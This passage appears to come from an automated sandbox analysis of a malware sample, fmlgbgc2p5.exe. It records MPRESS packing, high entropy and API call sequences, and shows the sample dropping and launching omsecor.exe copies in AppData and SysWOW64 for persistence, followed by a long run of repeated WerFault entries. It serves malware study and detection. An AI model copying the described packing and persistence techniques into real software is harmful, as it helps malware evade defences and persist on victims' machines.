Source: fmlgbgc2p5.exe	Static PE information: section name: .MPRESS1
Source: fmlgbgc2p5.exe	Static PE information: section name: .MPRESS2
Source: omsecor.exe.2.dr	Static PE information: section name: .MPRESS1
Source: omsecor.exe.2.dr	Static PE information: section name: .MPRESS2
Source: omsecor.exe.7.dr	Static PE information: section name: .MPRESS1
Source: omsecor.exe.7.dr	Static PE information: section name: .MPRESS2

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 0_2_00402FDD push ecx; ret	0_2_00402FF0
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_0040D293 push ecx; ret	2_2_0040D2A3
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_0040CBB5 push ecx; ret	2_2_0040CBC8
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 4_2_00402FDD push ecx; ret	4_2_00402FF0
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_0040D293 push ecx; ret	7_2_0040D2A3
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_0040CBB5 push ecx; ret	7_2_0040CBC8
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 13_2_00402FDD push ecx; ret	13_2_00402FF0
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_0040D293 push ecx; ret	14_2_0040D2A3
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_0040CBB5 push ecx; ret	14_2_0040CBC8
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 16_2_00402FDD push ecx; ret	16_2_00402FF0
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_0040D293 push ecx; ret	18_2_0040D2A3
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_0040CBB5 push ecx; ret	18_2_0040CBC8
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 23_2_00402FDD push ecx; ret	23_2_00402FF0
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_0040D293 push ecx; ret	24_2_0040D2A3
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_0040CBB5 push ecx; ret	24_2_0040CBC8
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 26_2_00402FDD push ecx; ret	26_2_00402FF0
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_0040D293 push ecx; ret	28_2_0040D2A3
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_0040CBB5 push ecx; ret	28_2_0040CBC8

Source: fmlgbgc2p5.exe	Static PE information: section name: .MPRESS1 entropy: 7.998409371053569
Source: omsecor.exe.2.dr	Static PE information: section name: .MPRESS1 entropy: 7.998409371053569
Source: omsecor.exe.7.dr	Static PE information: section name: .MPRESS1 entropy: 7.998409371053569

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\omsecor.exe

Executable created and started: C:\Windows\SysWOW64\omsecor.exe

Jump to behavior

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	File created: C:\Users\user\AppData\Roaming\omsecor.exe			Jump to dropped file
Source: C:\Users\user\AppData\Roaming\omsecor.exe	File created: C:\Windows\SysWOW64\omsecor.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\omsecor.exe

File created: C:\Windows\SysWOW64\omsecor.exe

Jump to dropped file

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_0040350F HeapAlloc,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileStringW,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileIntW,GetPrivateProfileStringW,GetPrivateProfileStringW,	2_2_0040350F
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_004039EA HeapAlloc,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileStringW,HeapAlloc,StrStrIW,StrStrIW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,	2_2_004039EA
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_0040350F HeapAlloc,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileStringW,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileIntW,GetPrivateProfileStringW,GetPrivateProfileStringW,	7_2_0040350F
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_004039EA HeapAlloc,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileStringW,HeapAlloc,StrStrIW,StrStrIW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,	7_2_004039EA
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_0040350F HeapAlloc,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileStringW,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileIntW,GetPrivateProfileStringW,GetPrivateProfileStringW,	14_2_0040350F
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_004039EA HeapAlloc,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileStringW,HeapAlloc,StrStrIW,StrStrIW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,	14_2_004039EA
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_0040350F HeapAlloc,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileStringW,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileIntW,GetPrivateProfileStringW,GetPrivateProfileStringW,	18_2_0040350F
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_004039EA HeapAlloc,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileStringW,HeapAlloc,StrStrIW,StrStrIW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,	18_2_004039EA
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_0040350F HeapAlloc,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileStringW,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileIntW,GetPrivateProfileStringW,GetPrivateProfileStringW,	24_2_0040350F
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_004039EA HeapAlloc,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileStringW,HeapAlloc,StrStrIW,StrStrIW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,	24_2_004039EA
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_0040350F HeapAlloc,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileStringW,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileIntW,GetPrivateProfileStringW,GetPrivateProfileStringW,	28_2_0040350F
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_004039EA HeapAlloc,HeapAlloc,GetPrivateProfileStringW,GetPrivateProfileStringW,HeapAlloc,StrStrIW,StrStrIW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,	28_2_004039EA

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
